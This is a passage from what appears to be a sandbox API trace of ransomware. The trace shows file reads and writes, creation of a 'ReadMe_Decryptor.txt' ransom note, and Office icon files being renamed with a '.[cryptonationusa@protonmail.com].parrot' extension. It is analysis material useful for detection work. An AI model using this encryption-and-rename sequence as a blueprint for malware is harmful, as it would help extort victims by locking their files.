(HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0186.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0186.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176590 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176590 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0186.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x229a090 [0186.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0186.242] WriteFile (in: hFile=0x288, lpBuffer=0x229a0a0*, nNumberOfBytesToWrite=0x15e8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x229a0a0*, lpNumberOfBytesWritten=0x18ebe4*=0x15e8, lpOverlapped=0x0) returned 1 [0186.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229a090 | out: hHeap=0x5b0000) returned 1 [0186.245] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15e1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0186.245] CloseHandle (hObject=0x288) returned 1 [0186.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0186.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22c84d8 [0186.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65b428 | out: hHeap=0x5b0000) returned 1 [0186.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0186.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0186.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0186.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0186.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0186.248] GetFileType (hFile=0x288) returned 0x1 [0186.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0186.258] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.259] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.277] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x538, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x538, lpOverlapped=0x0) returned 1 [0186.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0186.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0186.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0186.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0186.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0186.277] GetLastError () returned 0x0 [0186.278] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0186.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0186.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0186.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0186.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0186.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0186.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0186.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0186.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c2768 | out: hHeap=0x5b0000) returned 1 [0186.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0186.285] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.285] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.286] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.287] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf38, lpOverlapped=0x0) returned 1 [0186.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296df8 | out: hHeap=0x5b0000) returned 1 [0186.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0186.294] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.294] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.295] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x938, lpOverlapped=0x0) returned 1 [0186.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.302] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.304] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x296b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x296b, lpOverlapped=0x0) returned 1 [0186.304] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2296df8 | out: hHeap=0x5b0000) returned 1 [0186.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0186.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.311] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.313] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf78, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf78, lpOverlapped=0x0) returned 1 [0186.313] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0186.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.319] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.320] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16c7, lpOverlapped=0x0) returned 1 [0186.325] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.330] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.330] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.332] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.332] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x708, lpOverlapped=0x0) returned 1 [0186.332] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.338] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.339] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.339] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16c7, lpOverlapped=0x0) returned 1 [0186.340] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298050 | out: hHeap=0x5b0000) returned 1 [0186.345] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.345] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.347] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x708, lpOverlapped=0x0) returned 1 [0186.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c84d8 | out: hHeap=0x5b0000) returned 1 [0186.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0186.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0186.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.354] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.355] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.355] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2eaf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 